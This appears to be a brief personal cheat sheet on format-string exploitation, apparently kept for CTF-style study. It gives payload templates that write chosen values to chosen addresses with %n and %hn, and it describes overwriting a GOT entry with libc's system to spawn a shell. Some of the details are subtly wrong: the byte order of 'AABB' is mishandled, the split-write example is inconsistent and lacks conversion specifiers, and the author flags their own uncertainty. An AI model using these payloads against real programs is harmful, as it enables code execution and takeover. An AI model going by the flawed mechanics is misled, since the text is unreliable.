pwn.txt

`env -i ./binary` clear env vars

'AABB%<offset>$n' writes 4 (len('AABB')) to 0x41414242 (hex('AABB'))

'AABB%<value-4>x%<offset>$n' writes `value` to 0x41414242

to write 0xABABACAC to 0x41414242, split into 0x4141 and 0x4242:
CABBAABB%<unhex('ABAB')-8>%<offset>$hn%<unhex('ACAC')-unhex('ABAB')-8>%<offset+1>$hn
<address><address+2>%<number>x%<offset>$hn%<other number>x%<offset+1>$hn

so to get shell, write `system` libc address to GOT entry of a function being called, with the payload starting with 'sh;#' so it starts by popping that from stack (?)

http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html